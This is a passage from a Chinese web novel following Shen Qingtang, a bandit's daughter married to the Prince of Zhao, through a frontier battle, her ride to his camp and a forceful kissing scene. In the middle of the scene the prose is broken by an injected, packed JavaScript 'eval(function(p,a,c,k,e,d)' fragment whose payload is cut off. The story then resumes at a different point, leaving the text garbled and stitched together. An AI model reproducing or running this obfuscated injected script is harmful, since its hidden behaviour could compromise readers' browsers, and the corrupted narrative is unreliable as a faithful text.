姜若水想起旧事,她百思不得其解。 这么多年来,唯有她独得魏珩青睐,唯有她能与魏珩说上几句话,也唯有她能出入寒香院,进到魏珩的外书房。 她分明得魏珩另眼相待,为何临到嫁娶,他竟应下了那一门荒诞可笑的乡野婚事? 祖父说了,这场婚事,应是赵王府为了麻痹南廷的权宜之策。 毕竟这两年,赵王府练兵囤粮,极有可能存有问鼎之心,此为篡国谋权的大计,他们得静观其变。 倘若他日魏珩称帝,势必需要煊赫妻族支应门庭,届时姜家再献女助势,不愁得不到魏珩的妻位。 至于如今的赵王妃沈青棠……不过一名乡野村妇,休妻下堂也好,杀人灭口也罢,魏珩要除掉她,堪称易如反掌。 魏珩不会蠢笨到真的放弃一支势力雄厚、门第显赫的妻族。 他终会回头,迎娶姜若水的。 姜若水一心嫁到赵王府,唯有她能消受得起那场泼天富贵。她视魏珩为掌中之物,都等了这么多年,没道理遇到一点小挫折就放弃…… - 腊月二十三,祭灶节,俗称“小年”。 一大早,沈青棠就被姜氏喊起来送灶神。 王府的下人们取饴糖、井水、料豆,拜祭灶神,再将那张贴在灶台保家宅平安的旧神像撕下,和草扎的兵马一同焚烧殆尽,也好借火光送灶神升天,请他在玉皇大帝面前多多美言几句。 送完灶神,便开始准备除夕诸事。 赵王府要扫尘、挂桃符、剪出喜鹊登梅、犀牛望月等等不同纹样的窗花,贴在暖阁库房的窗槛,也好祈福纳祥。 赵王府是贵地,家底又殷实,沈青棠不用伺候姜氏的时候,日子过得很舒心,还吃到了许多从前在匪寨里吃不到的糖糕汤品。 每到这种时候,沈青棠就想感激一下自己的“衣食父母”。 她取来纸笔,给魏珩写信—— “今日吃到了牡蛎煎饼,很香,比羊肉还好吃。说是长在海礁上,壳子与礁石黏连不分,得用匕首来撬开。只王爷不在府中,不然我还能命人多备上一碟。” 沈青棠想的倒明白,倘若魏珩居于王府,传膳两碟,他大抵不喜这种民间吃食,他不吃,全部都能进她的肚子。 “今晚送来一头六七斤重的小猪崽子,钳毛炙烤,再大卸八块,用来煨笋汤,滋味当真一绝。听说猪腰汤极为补身,王爷可以一试。” 沈青棠有心和魏珩交好,字虽然写得不好,但胜在言辞朴实殷切,不讨人嫌。 自从沈青棠借助信鹰送去的第一封信石沉大海后,她便不盼着魏珩会回信了。 但每回吹哨子召鹰,苍鹰爪子上的竹筒都空空如也,可见她送去的信,应是被人读了的。 边塞又起硝烟,这一次契丹王庭集结数万兵马,来势汹汹,兵临城下,就连远在檀州主城的沈青棠都听到了消息。 魏珩奉命守关,自是亲征沙场。 他在外迎敌,一连二十多日都没回府,沈青棠莫名不安。 这一夜,沈青棠又梦到了沈父死前的模样。 那是三年前隆冬,沈青棠刚涂完最后一笔九九消寒图上的梅花瓣儿,沈父便策马回到了匪寨。 沈青棠已是及笄的大姑娘,可看见父亲,还是像个稚嫩孩童那般蹦蹦跳跳跑过来,飞扑进沈父的怀抱。 北地多雪,沈父身上满是霜寒,他接住沈青棠,又怕冻着孩子,赶紧拉开大氅,将闺女裹到了暖呼呼的衣袍里头。 沈青棠依偎着父亲,全然不知,那一晚便是他们父女相见的最后一夜。 战场上的流箭贯穿了沈父的胸腔,他的时日无多,想在死前见沈青棠一面。 于是,沈父折断箭羽,披上厚衣,再顶风冒雪,策马回城,像小时候那般亲近女儿,将已经长成大姑娘的沈青棠抱到臂上,同她说话,哄她吃冬瓜糖。 “十五年过去了,青青转眼就成大姑娘了,从前小豆丁似的个子,牵你下山,临到半路,雪都埋到你胸口,若非你娘亲拍我一巴掌,我都不知道你险些被雪淹了。” 沈青棠无奈地抱怨:“分明是您做事粗心,要不是有阿娘在旁看顾,我能不能平安活到及笄都难说。” 沈父哈哈大笑,抱着闺女回屋。 沈父不在家的这些时日,沈青棠筹备了许多年货。 炮仗、烟火、两条腊羊腿,还有一坛香醇的农家酒。 沈青棠想着和沈父过一个温馨热闹的好年。 可隔天一大早,她推开房门喊沈父起身,一同下山赶集,伸手往被褥里一摸,却只碰到父亲早已失温的冰冷手掌。 …… 沈青棠自梦中惊醒,她的额角生汗,惶恐不安。 她觉得自己命不大好,亲近的家人好像都会相继离世。 先是娘亲,再是爹爹…… 沈青棠想到多日未曾归家的魏珩,眨了一下汗泞泞的眼睫,不免想:如今轮到魏珩了吗? 沈青棠心里不安,她擅弓马,也曾一连跑马几日,奔赴外城去寻过沈父。 沈青棠想出府去找魏珩,又觉得私自离府,不合规矩……她贵为赵王妃,理应被困在这个宅院里,像其他世家贵女那般,伺候公婆,孝敬尊长,再老实等待魏珩回府。 可记挂自己的夫婿,想要外出寻他,实乃人之常情,又何必拘泥于规矩?事急从权,谁顾得上姜氏会怎么想? 再说了,魏珩说过,他就是北道四州权势最显的人,有他罩着,她就是攀梯子摘星星月亮都行。 思及至此,沈青棠趿鞋下地,翻动箱笼,取出塞在最底下的牛角长弓、黑羽箭矢,以及一把用来剔肉剥皮的铜柄匕首。 沈青棠不喜欢等候一个人的感觉。 她害怕魏珩出事,她得去找他。 13.第十三章 第十三章 老实说,魏珩并不觉得他那日回府护妻,算什么偏袒与宠爱。 不过是尽了一点丈夫的本分。 他承诺过魏父,即便不喜沈青棠,日后会与她和离,成亲的期间,亦要以妻礼善待她。 可沈青棠好似认了真,她将魏珩当成了家人,会三不五时给他传信,告诉他那些旁人不耐烦看的日常琐碎。 许是隐隐觉出魏珩的冷淡,她的信件越写越少,偶尔只是提上一句:“还有五天就过年了。” 她以为魏珩会回府过年。 魏珩瞥了一眼纸上齐整规矩的墨字,咬开木塞,饮了一口外域酿的葡萄酒。 随后,他擦去沾满下颌的烈酒,随意揉捏纸张,将其团成一个球,抛入雪原上好不容易燃起的篝火中,焚毁殆尽。 - 魏珩本以为,之前的抗戎之战,足够震慑契丹王庭,令其不敢靠近周国边境半步,北道四州至少能有半年的太平日子可过。 哪知,此前“汉将白宏南领兵归降,叛变王庭,致使诸部遇袭”的事闹得太大,引起了契丹诸将的不满。 他们本就怨恨老可汗耶律辛偏袒转户的汉将,如今有了白宏南叛变的前车之鉴,更是痛骂那些美酒畜肉都养不熟的汉人,认为汉人都生出了异心,甚至带刀搜帐,当着汉将的面,屠戮那些汉奴泄愤。 倘若哪个汉将胆敢出手护住那些中原奴隶,便是暗通中原,生出反心,要与契丹王庭作对,合该被施以绞刑,砍掉脑袋。 汉人血性最重,即便归降也不能容忍蕃人滥杀同胞。 是以,十二月初,契丹王庭爆发了一场“奴隶战争”。 汉将为契丹王庭所不容,他们的处境艰难,且势单力薄,很快落得下风。 眼见着汉将兵马死伤无数,他们生出了向周国檀州边塞求援的心思,盼着魏珩念在同胞一场,能容他们逃入大周国境,或是能领兵策应。 何其可笑。 当初汉将见契丹势大,侵占大周两州失地,便生出了叛主背国的心思。 如今寄身敌营,处处受制,如履薄冰,又念起故国的好处。 魏家军觉得解气,不愿出手搭救,可魏珩却有自己的计策。 他故意放任汉蕃争斗,待汉将与契丹人结下死仇,再领兵策应,解救同胞。 如此一来,魏珩不但能斩断那些投敌汉将的退路,亦能收复一批兵马,用于守城护营,震慑北虏外敌。 契丹牙帐,一层层羊羔帐布上泼满了鲜红腥臭的艳血,翻倒的火盆倾了一地,黑烟翻涌,火光冲天。 帐中,炙烤的羊肉早已冷却,美酒浸透地毯,一旁倒着十多具手脚被缚、尸首异处的汉奴。 而无数单衣赤足的汉奴,踏着一地霜雪,持刃杀向兵甲齐整的高大胡兵。 只可惜,他们衣不蔽体食不果腹,瘦得皮包骨头,还没砍上几刀,便被悍勇的契丹骑兵一刀入肚,拖出流肠,抽搐两下,倒在了地上。 汉将的粮草不足,兵马贫瘠,自是无力抵抗那些越杀越勇的胡兵。 眼见着契丹骑兵要杀穿汉人兵马,老将徐增焦心不已,他盼着那位北道藩王魏珩能领兵驰援,可又明白自己此举有多么卑鄙无耻。 在大周国眼中,他是叛主的罪臣,他做了国贼汉.奸,可徐增倒戈契丹,实在是无奈之举。 多年前,契丹强占平、营两州,欲收复汉将兵马,可那时城中军将唯徐增马首是瞻,宁死不从。 为了降服徐增,老可汗耶律辛故意以两城汉奴的性命,胁迫徐增领兵归顺,如若不从,数万汉人的性命,便会折损他手。 谁都不想死。 为了求得一条生路,满城百姓朝着徐增下跪,求他抛弃尊严与血性,暂且与契丹可汗虚与委蛇,先保住阖城子民的性命。 徐增被逼无奈,只能对契丹可汗俯首称臣,接管两州失地的守城之职,竭力护住城中汉人。 《左传》有言:“非我族类,其心必异。” 即便徐增归降,不生异心,契丹可汗又怎会轻信于他? 最终,他还是沦落到这等“人人喊打”的悲怆境地。 徐增悔恨不已,他愧于大周,愧于家将,倘若当初他战死沙场,兴许今日就不必受屠帐之辱…… 徐增厮杀三日,肩膀中箭,失血过多,已是步履踉跄,可他想护住麾下军将,带着弟兄们杀出一条血路,手上持刀的力道不敢松懈半分。 就在徐增力有不逮的时刻,他忽听远处的雪域高原,传来一阵阵长鸣的号角,震耳欲聋的战鼓声。 身旁的家将部曲望着那犹如神祇临世的军旗,望着旗帜上龙飞凤舞的“魏”字,一个个喜极而泣。 “是援军!是赵王的兵马!!” “赵王来救我们了!!” 魏家军嘹亮的嘶吼声,在荒芜辽阔的原野上回荡。 那些原本还杀得痛快的斡鲁朵骑军,一见成千上万的魏家兵马,顿时吓得瞠目结舌。 他们急忙列队布阵,放出求援鹰隼,请求王庭派兵来援! 一只只鼓吻奋爪的海东青,刚抻开遒劲长翅,旋上天穹,便被一支支来势汹汹的黑羽锐箭贯穿腹肉,发出刺耳的凄唳,跌落雪地,成了一滩烂骨肉泥。 哗啦啦。 漫天都是淋下的畜肉血雨。 在一蓬蓬血雾间,一名身披狐裘甲胄的清隽男子,沐雪而出。 他的凛冽发尾随风高扬,目若淬火,手持弓箭,眯眸拉弓,以摧枯拉朽的凶悍力量,连珠射出三箭。 嗖!嗖!嗖! 弓弦震颤,信鹰落下。 契丹骑兵无法将求援书信送出,又不想全军覆没,走投无路之际,又想着燃放狼烟,给王庭的兵马发送信号。 可不等那些契丹人取火燃烟,一把锋锐无匹的冷剑,就此抵上了他的肩头。 霍的一声巨响。 衣袍撕裂,筋骨尽碎。 敌将嫣红的鲜血泼了魏珩满脸,淋入他那双冷厉坚毅的眉眼,亦照出他眸中深藏的杀意与恶念。 一条胡兵的手臂,就此被魏珩砍落在地。 胡兵发出一声撕心裂肺的惨叫,手中燃料骨碌碌落地,看得一旁的汉将们连声呼好,堪称大快人心。 有魏珩领兵助阵,原本精疲力尽的汉将们又燃起生的希望。 他们的战意冲霄,喊杀震野,再度高举弯刀,奋勇杀向凶狠阴险的胡兵! 夜半时分,鏖战结束。 徐增提着那把沾满肉屑的弯刀,跪到魏珩面前。 “罪臣徐增,多谢赵王殿下襄助……我自知昔日叛国之举,罪孽深重,不敢苟活,今日自刎谢罪,只求殿下大发善心,收容罪臣麾下这帮家臣部将,予他们一个改过自新的机会。” 徐增老泪纵横,将那把长刀抵上颈侧。 徐增深知麾下家将随着自己出生入死多年,唯他马首是瞻。 倘若他想让魏珩毫无芥蒂地收下这批兵马,唯有以死谢罪。 可魏珩心知,此时杀了徐增,虽说能收拢一支数千人的汉兵,到底留下一个“多疑残暴”的印象。不如网开一面,暂且饶过徐增性命。 不等徐增挽刀自刎,魏珩手中匕首,已然迅疾袭来,叮的一声,打落了他手中利刃。 徐增的弯刀落地,茫然望向居高临下的英武男子。 “你我身上流的都是汉家血脉,若汉将有难,北道四州自会开城迎人……”魏珩佯装惜才,叹息一声,“徐老将军,本王深知你此前为护一城汉奴,不惜担下叛国之名,今冤屈既雪,若你归国,本王自当扫榻相迎。” 徐增听得此等善言,心头俱震。 他的鼻腔酸涩难抑,眼底霎时涌起一层湿意,翕动两下唇瓣,对魏珩俯首称臣。 “罪臣蒙垢多年,早已无颜立于天地之间,不曾想殿下宽仁至此,竟雪罪臣多年沉冤,许罪臣归国……从今往后,我愿执鞭坠镫,为殿下效犬马之劳,赴汤蹈火,万死不辞。” 魏珩重重一拍徐增肩膀,“好,知错能改善莫大焉,徐老将军,北境四州的边防,日后便要靠你戍卫了。” 眼下魏珩欲南下征伐,正是用兵之际,与其与北道那些野心勃勃的世家大族结盟,倒不如拉拢一批迷途知返的汉将。 毕竟他们已被契丹视为叛徒,无路可退,无家可归,能依仗的君主,唯有魏珩了。 魏珩深知防人之心不可无,他不会重用这些招安的降将,但可以物尽其用,命他们戍边守城,抵御那一帮早已与他们结下血仇的契丹兵卫。 待魏珩南征凯旋,再慢慢整饬军政,翦除异己,以肃朝纲,还不必对这些汉将许下高官厚禄的奖赏,当真是一桩惠而不费的买卖。 - 檀州,官道。 沈青棠留下一封书信后,悄无声息地离开了赵王府。 她本就是乡野长大的女孩,又擅长弓马,略懂拳脚,自然畅通无阻。 沈青棠买了一匹耐力不错的农家黄马,又准备了燃火的草绒、煮水的陶碗、路上吃的馕饼肉干、马驹吃的草料,一些旧衣,以及过年必吃的枣泥蔗糖年糕。 为了骑马方便,沈青棠抛弃那些宽袖袄裙,换上一身厚重到可以铺地充当被褥的兔毛窄袖胡袍。 她没时间绾那些繁复的发髻,直接拧了几条麻花辫,又用绯色的丝绦束好,披在肩上。 沈青棠翻身上马,抚着浓密的马鬃,与胯.下的骏马絮语。 “马兄,我知道,隆冬天里跑马,实在太伤马腿了,可我待你也不薄啊,还给你的四条蹄子裹了一层棉布呢!要知道我从前家贫,自己都舍不得买棉花制袄,暴富乍贵,给你穿金戴银,你也算是鸡犬升天了。马兄,我的好话说尽了,你可不能半路撂担子,这一遭随我寻到夫君,回城后,必有重赏!”</ p>沈青棠一直觉得万物有灵,马也能听懂人语,她循循善诱,马兄势必会倾力配合。 就此,一人一马,哒哒上了路。 沈青棠熟悉关隘边塞,从前还在草原上与那些胡商互市,用布帛、陶器,换过厚实的兽皮、肉干。 如今骑马出关,如鱼得水,在雪浪山径间迎风驰骋,浑身都充斥着说不出的畅快与舒爽。 在这一刻,沈青棠忽然发现,她其实只想和魏珩结为夫妇,她不想当那个被囚在高门大院里的赵王妃。 隆冬凛冽,夜雾浓密,如此顶风冒雪前行,不到两个时辰,手指就冻得通红僵硬。 沈青棠穿戴好鹿皮制的手套,继续持缰上路。 约莫清晨时分,沈青棠顺利出了关隘。 她朝着浩渺辽阔的夜空吹响鹰哨,等那只专为沈青棠传讯的信鹰旋空而来。 熟悉的振翅声,钻入耳朵。 沈青棠取出一把鹿肉干,喂给苍鹰,再趁此机会用麻绳缠住鹰爪,狡黠一笑:“鹰兄,你既能往返送信,定知王爷的营地所在。劳你奔波一场,带我去寻一下我的夫君。” 苍鹰头一次被人这般束缚,急得不住扑腾翅膀,抖了沈青棠一头软羽。 偏生那根麻绳粗粝牢固,挣脱不开,苍鹰认命,只能低空翱翔,放风筝似的领着沈青棠往远处的戈壁荒原行去。 …… 关外,营寨。 战事暂歇,魏珩为擒契丹悍将,腰上生受一箭。 好在箭矢半道上被魏珩以剑劈裂,没有贯穿骨肉,伤及脏器,只需静养几日,伤口便能愈合。 魏珩喝过温好的烈酒,又烫过匕首,忍痛硬生生剜下腐肉,再撒药包扎,裹好衣袍。 不等他咽下熬好的止血汤药,帐外便有哨兵急匆匆来报:“王、王爷,有一名女子,手持王妃金印入内,说是前来营寨探望您的……” 闻言,魏珩那双沉肃冷峻的眉眼,霎时浮起一重惊疑,他并不认为来的人会是那个娇软好欺的沈青棠,许是有细作冒充赵王妃,欲行不轨之事。 思及至此,魏珩的脸色骤冷,周身漫开威势骇人的杀意,他穿好兽氅外袍,信手取下一把削铁如泥的长剑,随着兵卒阔步出帐。 帐外,风雪渐大,雪绒铺地,不过一刻钟就落人一头白发。 魏珩的杀心渐盛,持刃逼近营门。 没等他走近,一袭娇小活泼的身影,倏地从远处飞奔而来,猝不及防扑进了魏珩的怀抱。 熟稔的甜馨桃息随着寒风席卷而来,冷不丁漫入魏珩鼻尖。 魏珩指骨一动,松开手中长剑。 他垂眸看去,宽阔胸膛前埋着一颗覆漫雪絮的毛绒脑袋。 女孩蜷紧两条冻僵的纤臂,依恋地蹭了蹭他。 继而,她抬起头,朝魏珩笑得见牙不见眼。 女孩樱唇柳眉,皓白贝齿。一头乌发凌乱,几乎要打结,脸上的雪泥倒是洗干净了,可衣袍却沾满污泥,像是在哪一丘土堆撒泼打滚的肮脏小狗。 “王爷!” 竟真的是沈青棠。 饶是见多识广的魏珩,此时看着脏兮兮好似小乞丐的沈青棠,脸上也难掩错愕。 他不由皱眉,拎起风尘仆仆的女孩,斥骂:“胡闹!前线危险,你不在王府待着,为何要奔赴战场?!” 再一看远处驮满包袱的黄马,被麻绳拴住的鹰隼,挂满马鞍的弓弩箭囊,他终于明白,沈青棠一介弱质女流,是如何翻山越岭,来到此地。 沈青棠挨了骂也不怕,她摸了摸鼻尖,朝他傻笑:“我看王爷在外征战,不能回府过年,我担心你出事,就想来营地看看你是否平安。王爷别担心我,我少时也上前线寻过父亲,出关的路我门儿清,真的出不了事。对了王爷,我还带了红糖年糕给你吃……” 沈青棠松开魏珩,想着献点殷勤,好哄他消消气。 她欢快地翻找随身的包袱,却怎么都找不到那几条冻得硬邦邦的红糖年糕。 “去哪儿了?莫不是被我掉到路上了?”沈青棠又惊讶又沮丧,声音越来越低。 她犹不死心,还想抖开包袱翻找。 刚伸出手,那一截润若藕段的腕骨,就被魏珩擒到了手中。 “王爷?”沈青棠呆呆抬头,望着眼前墨眸渐深的男人。 魏珩寒着脸:“不过是几条糖糕,不必找了。” 沈青棠哦了一声,又遗憾叹气,小声解释:“可糖糕……真的很好吃,我和爹爹每年过年都会吃的。” 魏珩垂下浓长雪睫,静静看着满心满眼都是他的沈青棠。 魏珩看着不顾危险外出寻夫,只为给他送两条年节糖糕的沈青棠。 他看着她跋山涉水赶来,鼻尖冻得通红,唇瓣也因缺水而干裂…… 竟有那么一瞬,魏珩也会想:倘若有人胆敢欺瞒、辜负这样的傻姑娘……他一定会遭天谴的。 14.第十四章 第十四章 赵王妃千里追夫的事,很快传遍了军营里外。 魏家军不是没见过高阶军将携带女眷随军,只他们没见过魏珩亲近女子,头一次看到小王爷身边有女人,还怪新鲜的。 营帐里的灶丁围拢一块儿闲磕牙。 “俺听说赵王妃是乡下人,生得咋样?比你家那个翠妞好看?” “你再说翠妞一句,我跟你急眼!不过老实说,赵王妃生得的确貌美,不像小刘说的那般丑啊……” 翠妞是孟刚的未婚妻,前两天返乡刚定下的婚事,想着再攒一年兵饷,两人就成亲。 一旁添柴的火头军焦庆闻言撇撇嘴:“嗐,你听他瞎说!之前谁传出来的,说是王爷新婚夜就赶回军营务公,定是被他媳妇吓的拔腿就跑,我看不见得,保不准是王爷担心自己沉溺美色,贻误军情,这才舍下娇妻……” “住口!王爷的家眷也是尔等能妄议的?!”老将军江阳峰不知何时站在了几人身后,陡然爆开的一声怒斥,吓了众人一跳。 江阳峰是军中老将,军威深重,此前随着魏父出生入死,又照看魏珩长大,被魏珩恭敬唤一声“江叔”,军中里外敬重老将,自然无人胆敢冒犯他。 此时听江阳峰一通申饬,那些资历尚浅的火头军一个个吓得鹌鹑似的站立,全然不敢动弹。 江阳峰拧了拧眉心:“孟刚,焦庆,滚去外头,绕营跑三十圈!再有下次,军棍伺候!” “是!” “还不快去?!” 焦庆看了一眼堆垒的灶台,“江老将军,咱们的水还没煮好呢,王爷和王妃急着用……” 江阳峰叹一口气:“罢了,此为大事,尔等先煮水送去主帐,再慢慢领罚!” 江阳峰想到今晚跋山涉水来到军营寻夫的沈青棠,不免记起从前共事过的沈父。 他知沈家人性善忠烈,虽是庶民百姓,却心怀天下,这般忠义国士教养出的女儿,自然是德容兼备,品貌双全。 魏父与江阳峰默许沈氏女入局,何尝没有算计沈家人赤忱善心的意思在内? 他们知道沈家都是好人,决不会背叛魏家军,这才允准魏珩聘娶沈氏女为妻。 可江阳峰看着沈青棠不顾安危,一心为魏珩筹谋,隐约意识到,小姑娘怕是对魏珩动了真心,竟也难得生出一丝恻隐之心…… 倘若有朝一日,她知道枕边丈夫的温存全是虚情假意。 倘若有朝一日,她知道这门高嫁的锦绣良缘,始于欺瞒,不过是上位者的博弈。 倘若有朝一日,她知道自己终会被魏珩抛弃……沈青棠该如何自处? 饶是心硬如江阳峰,居然也开始可怜这枚无辜入局的棋子,觉出一丝亏欠与不忍心。 - 北地的冬天好冷。 天穹好似被捅出一个黑漆漆的大窟窿,大团大团的鹅毛雪絮往下抖落。 不过半个时辰,那些羊皮搭建的帐篷外头,便覆满了一层厚厚实实的银霜雪絮。 半个时辰后,灶丁将水送到主帐,灌满浴桶,供沈青棠沐浴。 因是在外行军,煮水不便,沈青棠不敢辜负火头军的好意,连忙脱衣入水,趁着水温尚沸,兑开雪水,擦洗身子。 有屏风作掩,沈青棠拆开发辫,解开领口的盘扣。 她赤溜溜地浸到水里,用那些澡豆、香露,揉搓头发、四肢,将一桶干净清澈的水,洗成了乌糟糟的泥水。 沈青棠打理干净,又拿出一件夜里入睡的寝裙穿上。 她回头看了一眼脏污的洗澡水,清水早已污浊。 到底是女孩脸皮薄,沈青棠不想让灶丁入帐倒水,只好披上厚重的外袍,一瓢一瓢舀水,将那些脏水泼到了帐外。 等沈青棠回到主帐的时候,魏珩已安排好军务琐事,落座小榻。 他没有在意沈青棠,自顾自解开衣襟,给方才渗血的伤口重新上药。 青铜行灯被卷入门帘的风雪吹动,燃着一颤一颤的幽微烛光。 暖煦的光芒如水一般,泼洒至魏珩那张宛若斧凿刀削的侧脸,将男人那双本就昳丽秾艳的眉眼,晕染得更为深邃,平添几分玉质金相。 在外行军,刀劈剑砍,受伤实乃常事。 魏珩早就习以为常,他上药的手法利落粗糙,甚至带点潦草,半点不将这点小伤当回事。 可沈青棠却反应过来,她方才抱人没轻没重,许是一时不慎,将魏珩腰上的伤口狰开了。 她心生愧怍,解开那一件沾雪的外袍,仅着一身单薄的寝裙,轻轻柔柔俯跪于魏珩腰间。 她固执地拿走魏珩手中药瓶,对他道:“王爷,我来帮你上药。” 魏珩手中一空,他静默一瞬,没有拒绝。 他任沈青棠伏于腰腹,小心翼翼帮他涂抹药膏。 沈青棠早把自己清洗干净了,不再是外头流浪多日的脏猫。 女孩的乌发油润如缎,烛灯照出她头顶光旋,那些如瀑墨发披在削瘦单薄的雪背,将她衬得更纤细脆弱,好似一只被囚入狼帐的孱弱小鸟。 沈青棠就这般垂着濯水荷茎细脖,怯怯地拱入魏珩怀中。 她低头搽药,后颈那颗嶙峋骨珠鼓起,好似一枚鲜嫩多汁的青桃。随着她一起一伏的呼吸,在凝脂一般的雪肤底下震颤。 若非知道沈青棠年纪尚幼,不知如何风情万种地引诱男人。魏珩还当她是存了不良居心,一心要借“上药”一事,与他欢好。 沈青棠乖乖雌伏于他膝上的乖巧模样,实在勾得人心痒,诱惑旁人行恶。 令人想探指,缓慢挑开她披肩的半透寝衣。 继而肆无忌惮地摩.挲她那玉色软肤,捏握她纤细如竹的修长脖颈,把持她颈下泊泊流淌的血脉,掌控她最为不堪一击的软肋。 魏珩不是一个很会亏待自己的人,相反他倨傲性狂,随心所欲。 是沈青棠故意诱他。 即便伎俩拙劣,他也愿意赏她一点薄面,顺从她的心意,令她餍足。 自此,魏珩的琳琅玉指,轻轻抵上沈青棠的后颈血肉,故意压住了她微微凸起的那一颗颈骨。 肌肤相贴的感受太过清晰。 沈青棠很快僵住了肩膀。 男人的指肚生着薄茧,碾在她那易感的颈子上,带着点撩人的瘙痒,以及毛骨悚然的挑逗。 魏珩故意推磨手指。 他似是在把玩沈青棠,竟慢条斯理地捻动她的后颈…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 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明明姿态亲昵,动作亲密,可沈青棠从魏珩那双沉寂墨眸里看不到一丝一毫私欲,仿佛他这般玩弄唇舌,不过是故意欺辱沈青棠乖顺。 魏珩的白皙指尖,越探越深。 他故意压着她绯红色的舌搅弄,强硬地催促她开口说话。 沈青棠艰难地说:“我们是夫妻,我待你好……是应该的。” 别无所图么? 魏珩的手指停住。 他静静看了沈青棠一眼。 果真是个傻子。 许是沈青棠的话恰好取悦到魏珩,他没再欺负她的唇瓣。 只是,手指捻过红舌的触感犹在。 潮润、湿濡,极其柔软。 魏珩从未亲近过女子,此前行房一次,也不过是沈青棠虔心恳求,他身为夫君,自该满足她。 最出格恶劣的事都做过了,这等细枝末节的小事又何足挂齿。 魏珩陡然加重虎口的力道,半握住沈青棠的后颈,将她摁得更近。 随后,他半眯起黑涔涔的凤眸,缓慢低下头,含.吮住沈青棠的檀唇……亲自尝了尝方才亵玩之物。 15.第十五章 第十五章 沈青棠从未与魏珩这般近过。 男人那几根手指,擒在她莹润匀称的后颈。 他修长的指尖朝下抚摸,没入深不见底的衣领,轻易就能探及脊骨,如同拨水一般,搅得沈青棠心池荡漾。 而沈青棠傻愣愣闭着眼,任魏珩近在咫尺的热息,尽数扑在她圆润的唇珠、渗汗的鼻尖,如同密密匝匝的蛛网,连她的呼吸一并拢住。 她的柔软樱唇被魏珩凶狠地咬着,散开细密酸麻的刺痛。 沈青棠心里委屈,可又不敢睁开眼,生怕这般怯弱的模样,会诱起魏珩某种不知名的邪心。 魏珩的确生出了一些古怪的意动,那双原本凉薄黑沉的墨眸,渐渐变得浑浊含.欲,甚至勃.发出某种近似杀意的肆虐欲。 他的宽大手掌,沿着沈青棠那一节节嶙峋脊椎,一路往下逡巡,重重地掐上一把。 他的长指,如同陷入柔滑的醍醐乳酪,连指缝都被玉雪脂膏裹满,残留的触感温热而绵长。 沈青棠莫名被人揉掐,说不出是什么感觉,只觉心惊胆战,眼睛闭得更紧了。 她的耳畔仅剩下亲吻时,发出的黏.腻混沌的水声。 而魏珩的吻越来越深入,侵.略感也愈发强烈。 在这般唇齿交织间,沈青棠被迫感受他轮廓冷硬的唇峰,以及同样湿.软滚烫的舌。 沈青棠从未与人亲吻过,她的吻技拙劣,呆头鹅一般怔在原地,连回应都不会。 可这般生涩的姿态,反倒让魏珩感到受用。 他愿意施舍一点耐心,好好调教自家小妻。 即便他也是初次这般触碰女子,与人唇舌纠缠、口涎交渡,毫无间隙地耳鬓厮磨,肆无忌惮地索取。 沈青棠无措地承受着魏珩凶狠的亲吻。 她任他吮.咽下那些不断泌出的甘甜口津。 任他用尖利的牙齿,细细磨着她的软唇。 任他亲到深处,长驱直入。 再得寸进尺地搜刮她唇腔里外的气息,拨弄她舌下青筋,催出她满脸可怜兮兮的眼泪。 沈青棠没有经历过这样的情.事。 她从来不知,一个亲吻也威力巨大,竟能让她腰.窝酥麻,膝盖发酸,生出不可抑制的逃心。 沈青棠的破碎低吟,自那一条窄窄的喉管满溢而出。 她实在受不了了。 可沈青棠刚要屈膝爬起,魏珩便抬起冷冽眼风,毫不留情地扫过她一掌可控的莹白足踝。 随之,男人顺势握住她那一截纤细的脚踝,猛地将她拉到怀中。 沈青棠猝然遇袭,脚上像是挂了一只沉重的镣铐。 她的自由受限,肩膀下意识战栗,一直后退,试图逃跑。 可沈青棠力气太小,敌不过多年来南征北战的魁梧武将。 魏珩不过蜷起五指,便能轻而易举压制沈青棠,化解她那堪称蚍蜉撼树的细微力道。 魏珩恶劣地将她摁到铺好兔毛毡毯的地上。 自此,沈青棠又被魏珩强行压到了怀里。 她没能逃出魏珩的魔掌,反倒被人顺势拖到身下,掩入厚重的衣袍之中。 魏珩的吻再次落下。 随之而来的,还有那一缕足以将人溺亡的沉重雪松香气。 气息清凌凌的,寒津津的,冷如山间冰棱,冻得沈青棠一个激灵。 魏珩低头的瞬间,如缎似墨的乌发垂落,伏于人面,缠着沈青棠微微发红的耳尖,一路蛇行。 许是魏珩发尾未干,凝着澄澈的水珠,拂过人脸时,甚至残留下一痕粘稠濡润的湿意。 男人那一具健硕修长的身子,亦拢住娇小的沈青棠,好似一口逼仄窒息的囚笼,将她整个人遮掩得严丝合缝。 沈青棠被人压着亲吻,舔咽口中丰沛的花汁。 她不懂换气,闷到几乎要憋得晕过去。 好似要被魏珩挖空了五脏六腑,脑子空空,连同魂魄也要从灵窍钻出,被他尽数吸进肚中。 许是沈青棠的反骨被魏珩折断,她不再抵抗,魏珩的理智回归,动作缓慢下来,那股子将她生吞活剥的恶欲,也渐渐隐忍强抑下去。 魏珩徐徐吞咽她、蚕食她。 这般温柔的行径,竟令沈青棠生出一种被爱的错觉。 沈青棠的眼眸浮起一层朦胧泪雾,她的双手交叠在一块儿,被男人那只骨骼分明的手,压至发顶。 她意乱情迷,四肢百骸渐渐涌出了热,因过度的舔.咬,唇瓣变得色若涂丹,红到触目惊心。 沈青棠下意识屈膝挣扎。 膝盖不慎朝前一挪,竟不偏不倚,擦碰到魏珩的腰间。 那一处,紧绷如顽石。 沈青棠瞬间清醒过来。 而魏珩冷不丁遇刺,劲韧的窄腰一紧,眸色渐深,“王妃,你倒是比我想的还要贪。只可惜为夫伤重,医工专程叮嘱近日不可行房,你的念想怕是要落空了……” “我、我没有……”闻言,沈青棠窘迫地避开眼,不敢说话,怕越描越乱。 但好在,魏珩良心未泯,他尝过沈青棠的味道,终是松开了自己的猎物。 沈青棠得以逃出生天,她的心跳快若擂鼓,心有余悸地偷瞟魏珩一眼。 她竟觉得自家夫君失了平日惯有的温柔,仿佛方才那个差点要将她拆吃入腹的阴恶男人,才是她真正的丈夫。 沈青棠逃过一劫,她扯好早已滑到臂弯、露出大片雪白皮肤的寝裙,环顾四周,寻找入睡的床榻。 “王爷,你夜里都在何处落榻?” 她和魏珩是夫妻,自然该睡在一起。 